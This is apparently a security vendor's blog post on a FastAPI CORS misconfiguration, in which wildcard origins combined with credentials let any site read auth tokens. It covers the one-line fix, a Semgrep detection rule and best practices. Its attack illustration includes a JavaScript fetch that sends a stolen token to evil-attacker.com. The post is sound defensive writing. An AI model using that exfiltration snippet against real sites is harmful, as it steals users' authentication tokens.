Back to Blog
high SEVERITY6 min read

How CORS Misconfiguration Happens in FastAPI and How to Fix It

A FastAPI application serving as a MyShows proxy was configured to allow all origins with credentials enabled, creating a dangerous CORS misconfiguration that could let any malicious website silently harvest authentication tokens. The fix was a single-line change — setting `allow_credentials=False` — but the implications of leaving it unchecked were significant. This post breaks down exactly how the vulnerability works, why FastAPI's behavior makes it subtler than it first appears, and how to co

O
By Orbis AppSec
Published August 18, 2026Reviewed August 18, 2026

Answer Summary

This vulnerability is a CORS misconfiguration (CWE-942) in a FastAPI application where `CORSMiddleware` was configured with both `allow_origins=["*"]` and `allow_credentials=True` in `example_myshows_proxy/main.py`. While FastAPI/Starlette reflects the request's `Origin` header rather than sending a literal `*` when credentials are enabled, this means every origin is effectively allowed to make credentialed cross-origin requests — including malicious ones that can read authentication tokens from the `/auth` endpoint. The fix is to set `allow_credentials=False`, which prevents the `Access-Control-Allow-Credentials: true` header from being sent and blocks browsers from exposing response bodies to cross-origin scripts.

Vulnerability at a Glance

cweCWE-942
fixSet allow_credentials=False in CORSMiddleware configuration
riskAny website can make authenticated cross-origin requests and read auth tokens
languagePython (FastAPI / Starlette)
root causeallow_origins=["*"] combined with allow_credentials=True in CORSMiddleware
vulnerabilityCORS Misconfiguration with Credentials

How CORS Misconfiguration Happens in FastAPI and How to Fix It

The File That Handles Authentication — and Why Its CORS Config Mattered

The example_myshows_proxy/main.py file is the entry point for a FastAPI application that proxies requests to the MyShows API. Among its endpoints is /auth, which returns an authentication token to the caller. That makes the CORS configuration at the top of this file critically important — because CORS is the browser's primary mechanism for deciding which websites are allowed to read those responses.

At line 12, the application registered CORSMiddleware with a configuration that looked harmless at first glance:

app.add_middleware(
    CORSMiddleware,
    allow_origins=["*"],
    allow_credentials=True,  # ← the vulnerable line
    allow_methods=["*"],
    allow_headers=["*"],
)

This single line — allow_credentials=True — in combination with allow_origins=["*"] created a high-severity vulnerability that could allow any website on the internet to silently steal the authentication tokens returned by this proxy.


The Vulnerability Explained

What CORS Is Supposed to Do

Cross-Origin Resource Sharing (CORS) is a browser security mechanism that controls which external origins can read responses from your server. By default, browsers block cross-origin reads — CORS headers are the server's way of explicitly granting exceptions.

The Access-Control-Allow-Credentials: true header is a special escalation: it tells the browser, "Yes, you may include cookies, HTTP auth headers, or TLS client certificates in cross-origin requests — and you may expose the response to the requesting JavaScript."

The Subtle FastAPI/Starlette Behavior That Makes This Worse

Here's where this vulnerability gets interesting — and why it's easy to miss in code review.

The CORS specification explicitly forbids combining Access-Control-Allow-Origin: * with Access-Control-Allow-Credentials: true. Browsers will reject that combination. So you might think: "FastAPI will just send *, browsers will reject it, no harm done."

That's not what FastAPI does.

When allow_credentials=True is set, Starlette's CORSMiddleware does not send Access-Control-Allow-Origin: *. Instead, it reflects the incoming Origin header back verbatim. So if a request arrives from https://evil-attacker.com, the server responds with:

Access-Control-Allow-Origin: https://evil-attacker.com
Access-Control-Allow-Credentials: true

This is a valid credentialed CORS response. The browser accepts it. The attacker's JavaScript can read the full response body — including any authentication token.

The Attack Scenario

Imagine a user is logged into the MyShows proxy application in their browser. They visit a malicious website (perhaps via a phishing link or a compromised ad). That website runs the following script:

fetch('https://myshows-proxy.example.com/auth', {
  method: 'POST',
  credentials: 'include',  // sends the user's cookies
  body: JSON.stringify({ username: 'victim', password: 'stored-in-browser' })
})
.then(response => response.json())
.then(data => {
  // data.token is now in the attacker's hands
  fetch('https://evil-attacker.com/collect?token=' + data.token);
});

Because the server reflects the attacker's origin and includes Access-Control-Allow-Credentials: true, the browser allows the response to be read. The token is exfiltrated. The attacker now has authenticated access to the victim's MyShows account.

Real-World Impact

This proxy application is described as publicly accessible. Any user who has ever authenticated through it and visits a malicious page is at risk of having their session token stolen — with no indication that anything went wrong.


The Fix

The fix is a single character change at line 14 of example_myshows_proxy/main.py:

Before (vulnerable):

app.add_middleware(
    CORSMiddleware,
    allow_origins=["*"],
    allow_credentials=True,   # reflects every Origin with credentials
    allow_methods=["*"],
    allow_headers=["*"],
)

After (fixed):

app.add_middleware(
    CORSMiddleware,
    allow_origins=["*"],
    allow_credentials=False,  # no credentialed cross-origin access
    allow_methods=["*"],
    allow_headers=["*"],
)

Why This Specific Change Solves the Problem

Setting allow_credentials=False (which is also the default if the parameter is omitted) means Starlette will send Access-Control-Allow-Origin: * as a literal wildcard. Browsers enforce the rule that wildcard origins cannot be used with credentialed requests — so any fetch(..., { credentials: 'include' }) call from a foreign origin will be blocked by the browser before the response is ever exposed to JavaScript.

Unauthenticated cross-origin requests (e.g., public API calls without cookies) still work as expected. The change only prevents credentialed cross-origin reads, which is exactly the attack vector being closed.

The Ideal Long-Term Fix

If the application genuinely needs to support credentialed cross-origin requests from specific trusted frontends, the correct configuration is:

app.add_middleware(
    CORSMiddleware,
    allow_origins=["https://trusted-frontend.example.com"],  # explicit allowlist
    allow_credentials=True,
    allow_methods=["GET", "POST"],
    allow_headers=["Authorization", "Content-Type"],
)

This grants credentialed access only to known, trusted origins — rather than reflecting every origin that asks.


Prevention & Best Practices

1. Never Combine Wildcard Origins with Credentials

This is the cardinal rule of CORS configuration. If you need allow_credentials=True, you must enumerate your trusted origins explicitly. There is no safe way to combine allow_origins=["*"] with allow_credentials=True.

2. Apply the Principle of Least Privilege to CORS

Only allow the methods, headers, and origins your application actually needs. allow_methods=["*"] and allow_headers=["*"] are also worth revisiting — they expand the attack surface unnecessarily.

3. Use Semgrep to Catch This Pattern

A Semgrep rule can flag this exact anti-pattern in any FastAPI or Starlette codebase:

# Detects allow_origins=["*"] + allow_credentials=True in CORSMiddleware
rules:
  - id: cors-wildcard-with-credentials
    patterns:
      - pattern: |
          CORSMiddleware(..., allow_origins=["*"], ..., allow_credentials=True, ...)
    message: "Wildcard CORS origin with credentials=True reflects all origins"
    severity: ERROR

Search for related patterns at https://semgrep.dev/r?q=cors+credentials.

4. Security Standards Reference


Key Takeaways

  • allow_credentials=True with allow_origins=["*"] in FastAPI is not a no-op — Starlette reflects the actual Origin header, making every origin effectively trusted for credentialed requests.
  • The /auth endpoint was the highest-risk target — it returns authentication tokens, making it the ideal target for a cross-origin credential theft attack.
  • The fix required changing exactly one value (TrueFalse) at line 14 of main.py, but the security impact is significant: credentialed cross-origin reads are now blocked by browsers.
  • Wildcard CORS is safe for public, unauthenticated APIs — the problem only arises when credentials are also enabled.
  • CORS misconfigurations are silent — there are no server-side errors, no logs, and no user-visible symptoms when an attacker exploits this. Detection requires proactive scanning.

How Orbis AppSec Detected This

  • Source: The Origin request header sent by any cross-origin browser request to the FastAPI application.
  • Sink: The CORSMiddleware configuration at example_myshows_proxy/main.py:12–17, specifically the allow_credentials=True parameter combined with allow_origins=["*"].
  • Missing control: No restriction on which origins are permitted to make credentialed requests; the wildcard origin policy effectively whitelisted all origins when combined with credential reflection.
  • CWE: CWE-942 — Permissive Cross-domain Policy with Untrusted Domains.
  • Fix: Changed allow_credentials=True to allow_credentials=False at line 14, preventing the Access-Control-Allow-Credentials: true header from being sent and blocking browsers from exposing credentialed responses to cross-origin scripts.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

CORS misconfigurations are among the most common and most underestimated security issues in web APIs. The combination of allow_origins=["*"] and allow_credentials=True in FastAPI's CORSMiddleware is particularly dangerous because it doesn't fail loudly — it silently reflects every origin as trusted, giving any malicious website the ability to make authenticated requests and read the responses.

In this case, the /auth endpoint of example_myshows_proxy/main.py was directly exposed: any website could have triggered an authenticated request and exfiltrated the resulting token. A one-line fix — flipping allow_credentials to False — closes the vulnerability entirely.

The lesson for FastAPI developers: always treat allow_credentials=True as a high-privilege setting that requires an explicit, restrictive allow_origins list. When in doubt, default to False and add origins as your application's trust requirements become clear.


References

Frequently Asked Questions

What is a CORS misconfiguration with credentials?

It occurs when a server allows all origins AND sends the Access-Control-Allow-Credentials: true header, permitting any website to make authenticated requests and read the responses — including sensitive tokens.

How do you prevent CORS credential misconfigurations in FastAPI?

Either restrict allow_origins to a specific list of trusted domains, or set allow_credentials=False. Never combine allow_origins=["*"] with allow_credentials=True.

What CWE is CORS misconfiguration?

CWE-942: Permissive Cross-domain Policy with Untrusted Domains.

Is setting allow_origins=["*"] alone enough to prevent credential leakage?

Only if allow_credentials is False (or omitted). If credentials are enabled, FastAPI/Starlette reflects the actual Origin header back instead of "*", effectively whitelisting every origin for credentialed requests.

Can static analysis detect CORS credential misconfigurations?

Yes. Tools like Semgrep can flag the pattern of allow_origins=["*"] combined with allow_credentials=True in middleware configuration code.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #3

Related Articles

high

How missing dependency update cooldowns happen in GitHub Dependabot configurations and how to fix it

A semgrep scan flagged `.github/dependabot.yml` for lacking a cooldown period, meaning Dependabot would immediately propose updates to brand-new package versions across npm, Bundler, and Docker ecosystems. The fix adds a `cooldown: default-days: 7` block to every `package-ecosystem` entry, forcing a one-week waiting period before newly published releases are considered — reducing exposure to malicious or unstable package drops.

high

How dependabot-missing-cooldown happens in GitHub Actions/Node.js and how to fix it

The repository's `.github/dependabot.yml` had no cooldown period configured, meaning Dependabot could immediately propose updates to newly published package versions with zero time for the community to flag malware or instability. The fix adds a `cooldown` block with `default-days: 7` to both the `npm` and `github-actions` ecosystems, forcing a 7-day waiting period before new releases are surfaced as update PRs.

high

How Path Traversal Happens in TensorFlow's Data Service and How to Fix It

TensorFlow's data service dispatcher validated dataset IDs against forward-slash traversal attacks but overlooked backslash characters on non-Windows platforms, allowing attackers to escape the root directory. A targeted fix adds explicit backslash validation across all platforms, closing a high-severity path traversal vulnerability in the snapshot management system.

critical

How Unbounded WebSocket Message Handling Causes Resource Exhaustion in Node.js and How to Fix It

The WebSocketCrossServerAdapter class in a popular Node.js WebSocket library lacked any rate limiting on inbound messages, allowing attackers to flood Redis nodes and WebSocket servers with high-volume traffic. The fix introduces a configurable `rateLimit` option that caps messages per connection per second, preventing resource exhaustion while preserving legitimate functionality.

critical

How Remote Code Execution Happens in Handlebars Template Compilation and How to Fix It

CVE-2026-33937 is a critical remote code execution vulnerability in Handlebars.js that allows attackers to execute arbitrary code by passing maliciously crafted Abstract Syntax Tree (AST) objects to the compile() function. The vulnerability was patched in version 4.7.9, and we've upgraded to protect against this threat vector.

critical

How Denial of Service via Gzip Bomb happens in Node.js and how to fix it

A critical Denial of Service vulnerability (CVE-2026-59873) in the `tar` npm package allowed attackers to craft malicious gzip archives that could exhaust memory or CPU during decompression. The fix upgrades `tar` from 7.5.11 to 7.5.21 across `package.json` and `package-lock.json`, closing the resource-exhaustion path without changing any application code.